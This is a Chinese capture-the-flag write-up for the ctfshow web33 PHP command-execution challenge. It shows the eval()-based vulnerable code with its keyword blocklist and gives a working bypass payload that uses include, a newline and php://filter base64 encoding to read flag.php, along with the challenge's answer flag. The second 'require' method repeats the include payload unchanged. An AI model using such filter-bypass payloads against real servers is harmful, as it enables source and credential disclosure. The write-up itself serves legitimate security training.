ctfshow-命令执行-web33

ctfshow-web33

ctfshow靶场命令执行内容

---

题目描述：

原理：

同web29

审计

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 02:22:27
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){   
     //过滤了flag  system  php  cat  sort  shell   .   '  ` echo  ;  (  " 空格
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

方法：

思路：

绕过 flag system php cat sort shell . ’ ` echo ; ( " 空格的过滤

1.同web32

既然过滤了括号，使用include(文件包含)

payload：

http://4cf99b8f-672f-4bd9-97eb-8b2d97c05afd.challenge.ctf.show/?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

利用文件包含，将flag.php包含进来，这样执行变量c的时候，将执行带有包含文件的表达式，从而达到读取指定文件的目的。再使用过滤器，base64编码读取flag

filter：通过指定的通道来读取指定的文件
这里使用base64读取
不用base64读不到源文件

之后base64解码：

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:49:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:49:26
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

$flag="ctfshow{7ddd68fa-e1b2-40f2-aecf-c227755fe16c}";

2.同样使用文件包含，require

require 语句的使用方法与 include 语句类似，都是实现对外部文件的引用。在 PHP 文件执行之前，PHP解析器会用被引用文件的全部内容替换 require 语句，然后与 require 语句之外的其他语句组成新的 PHP 文件，最后再按新PHP 文件执行程序代码。
payload：

http://4cf99b8f-672f-4bd9-97eb-8b2d97c05afd.challenge.ctf.show/?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
同上以base64读取文件
base64解码得到flag

Flag：

ctfshow{7ddd68fa-e1b2-40f2-aecf-c227755fe16c}